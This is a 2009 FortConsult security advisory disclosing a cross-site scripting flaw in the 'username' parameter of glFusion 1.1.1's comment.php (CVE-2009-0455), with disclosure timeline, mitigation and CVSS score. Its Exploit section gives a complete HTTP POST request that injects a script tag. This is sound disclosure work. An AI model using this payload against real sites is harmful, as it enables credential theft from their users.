

SECURITY ADVISORY

February 2009

glFusion CMS–“Comment” Cross-Site scripting Vulnerability



Discovered in February 2009 by FortConsult's Security Research Team/Bjarne Mathiesen Schacht

Table of Contents

Table of Contents	2
Copyright and Disclaimer	2
The Security Research Team.....	2
Issue History	3
Issue Description	4
Issue Impact	4
Affected Components	4
Exploit	4
Mitigation	4
CVE-reference	4
CVSS Base Score	4

Copyright and Disclaimer

The information in this advisory is Copyright 2009 FortConsult A/S. It is provided so that our customers and others understand the risk they may be facing by running affected software on their systems.

In case you wish to copy information from this advisory, you must either copy all of it or refer to this document (including our URL).

No guarantee is provided for the accuracy of this information, or damage you may cause your systems in testing.

The Security Research Team

This advisory has been discovered by FortConsult's Security Research Team/Bjarne Mathiesen Schacht.

FortConsult is a specialist in technical services within the field of IT security. We are vulnerability experts that help business enterprises to protect themselves against the numerous security threats that exist today – both as impartial consultants and with responsibility for specific tasks. Our primary services are security tests and practically-oriented security consultancy.

For more information: www.fortconsult.net.

Issue History

This document has been updated to the present version as information has been received from various external sources.

February, 4th 2009: Responsible disclosure initiated.

February, 5th 2009: Vendor notified.

February, 5th 2009: Vendor released fix to this issue.

February, 5th 2009: Advisory made public.

Issue discovered by Bjarne Mathiesen Schacht.

THIS DOCUMENT IS TENTATIVELY SCHEDULED FOR PUBLIC RELEASE VIA THE FORTCONSULT WEBSITE AND SECURITY MAILING LISTS IN FEBRUARY 2009.

Issue Description

The “username” parameter in glFusion’s “comment.php” page is vulnerable to Cross-Site Scripting. In particular, there is no input validation performed on user data passed to the application from this parameter.

Issue Impact

This vulnerability could be used for credential theft.

Affected Components

“comment.php” in glFusion v1.1.1
Other versions may be affected as well.

Exploit

The issue can be triggered as follows:

POST /comment.php HTTP/1.1

Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xhtml+xml, application/vnd.ms-xpsdocument, application/x-ms-bap, application/x-ms-application, */*

Accept-Language: da

Content-Type: application/x-www-form-urlencoded

UA-CPU: x86

Accept-Encoding:

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Host: www.glfusion.org

Pragma: no-cache

Connection: Keep-Alive

```
sid=fileid_20&pid=0&type=filemgmt&_glsectoken=&comment=&uid=1&username=Anonymous+User%22%3e%3csCriPt%3ealert(1234)%3c%2fsCriPt%3e&title=Hello&comment=Hello&comment_html=Hello&postmode=html&captcha=47TXJC&csid=49816d4bcd4b&mode=Submit+Comment
```

This will display an alert box with the message “1234”

Mitigation

Do input/output validation on all information passed from the user to the application.

CVE-reference

CVE-2009-0455

CVSS Base Score

FortConsult has used the online CVSS calculator found at <http://nvd.nist.gov/cvss.cfm?calculator&version=2> to calculate these scores.

BASE SCORE: 5

Metrics:

Access Vector: Network

Access Complexity: Low
Authentication: None
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None